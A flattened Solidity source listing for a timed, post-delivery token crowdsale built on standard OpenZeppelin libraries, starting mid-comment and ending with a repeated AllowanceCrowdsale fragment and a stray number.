has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; import "./TimedCrowdsale.sol"; // import "./Secondary.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title PostDeliveryCrowdsale * @dev Crowdsale that locks tokens from withdrawal until it ends. */ abstract contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) private _balances; __unstable__TokenVault private _vault; constructor() { _vault = new __unstable__TokenVault(); } /** * @dev Withdraw tokens only after crowdsale ends. * @param beneficiary Whose tokens will be withdrawn. */ function withdrawTokens(address beneficiary) public { require(hasClosed(), "PostDeliveryCrowdsale: not closed"); uint256 amount = _balances[beneficiary]; require( amount > 0, "PostDeliveryCrowdsale: beneficiary is not due any tokens" ); _balances[beneficiary] = 0; _vault.transfer(token(), beneficiary, amount); } /** * @return the balance of an account. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev Overrides parent by storing due balances, and delivering tokens to the vault instead of the end user. This * ensures that the tokens will be available by the time they are withdrawn (which may not be the case if * `_deliverTokens` was called later). * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal override { _balances[beneficiary] = _balances[beneficiary].add(tokenAmount); _deliverTokens(address(_vault), tokenAmount); } } /** * @title __unstable__TokenVault * @dev Similar to an Escrow for tokens, this contract allows its primary account to spend its tokens as it sees fit. * This contract is an internal helper for PostDeliveryCrowdsale, and should not be used outside of this context. */ // solhint-disable-next-line contract-name-camelcase contract __unstable__TokenVault is Ownable { function transfer( IERC20 token, address to, uint256 amount ) public onlyOwner { token.transfer(to, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; import "../token/ERC20/IERC20.sol"; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AllowanceCrowdsale.sol"; /** * @title TimedCrowdsale * @dev Borrow from https://github.dev/OpenZeppelin/openzeppelin-contracts/blob/docs-v2.x/contracts/crowdsale/validation/TimedCrowdsale.sol * @dev Crowdsale accepting contributions only within a time frame. */ abstract contract TimedCrowdsale is AllowanceCrowdsale { uint256 private _openingTime; uint256 private _closingTime; /** * Event for crowdsale extending * @param newClosingTime new closing time * @param prevClosingTime old closing time */ event TimedCrowdsaleExtended( uint256 prevClosingTime, uint256 newClosingTime ); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen() { require(isOpen(), "TimedCrowdsale: not open"); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param openingTime Crowdsale opening time * @param closingTime Crowdsale closing time */ constructor(uint256 openingTime, uint256 closingTime) { // solhint-disable-next-line not-rely-on-time require( openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time" ); // solhint-disable-next-line max-line-length require( closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time" ); _openingTime = openingTime; _closingTime = closingTime; } /** * @return the crowdsale opening time. */ function openingTime() public view returns (uint256) { return _openingTime; } /** * @return the crowdsale closing time. */ function closingTime() public view returns (uint256) { return _closingTime; } /** * @return true if the crowdsale is open, false otherwise. */ function isOpen() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp > _closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual override onlyWhileOpen { super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Extend crowdsale. * @param newClosingTime Crowdsale closing time */ function _extendTime(uint256 newClosingTime) internal { require(!hasClosed(), "TimedCrowdsale: already closed"); // solhint-disable-next-line max-line-length require( newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time" ); emit TimedCrowdsaleExtended(_closingTime, newClosingTime); _closingTime = newClosingTime; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./Crowdsale.sol"; /** * @title AllowanceCrowdsale * @dev Borrow from https://github.dev/OpenZeppelin/openzeppelin-contracts/blob/docs-v2.x/contracts/crowdsale/emission/AllowanceCrowdsale.sol * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ abstract contract AllowanceCrowdsale is Crowdsale { using SafeERC20 for IERC20; address private _tokenWallet; /** * @dev Constructor, takes token wallet address. * @param tokenWallet Address holding the tokens, which has approved allowance to the crowdsale. */ constructor(address tokenWallet) { require( tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address" ); _tokenWallet = tokenWallet; } /** * @return the address of the wallet that will hold the tokens. */ function tokenWallet() public view returns (address) { return _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return Math.min( token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this)) ); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual override { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title Crowdsale * @dev OpenZeppelin and upgrade to solidity v0.8.0 * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Context, ReentrancyGuard { using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor( uint256 rate, address payable wallet, IERC20 token ) public { require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require( address(token) != address(0), "Crowdsale: token is the zero address" ); _rate = rate; _wallet = wallet; _token = token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ receive() external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public payable nonReentrant { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised + weiAmount; _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual { require( beneficiary != address(0), "Crowdsale: beneficiary is the zero address" ); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal virtual { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount * _rate; } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
* @title AllowanceCrowdsale @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale./
abstract contract AllowanceCrowdsale is Crowdsale { using SafeERC20 for IERC20; address private _tokenWallet; pragma solidity ^0.8.0; constructor(address tokenWallet) { require( tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address" ); _tokenWallet = tokenWallet; } function tokenWallet() public view returns (address) { return _tokenWallet; } function remainingTokens() public view returns (uint256) { return Math.min( token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this)) ); } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual override { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } }
13,926,204
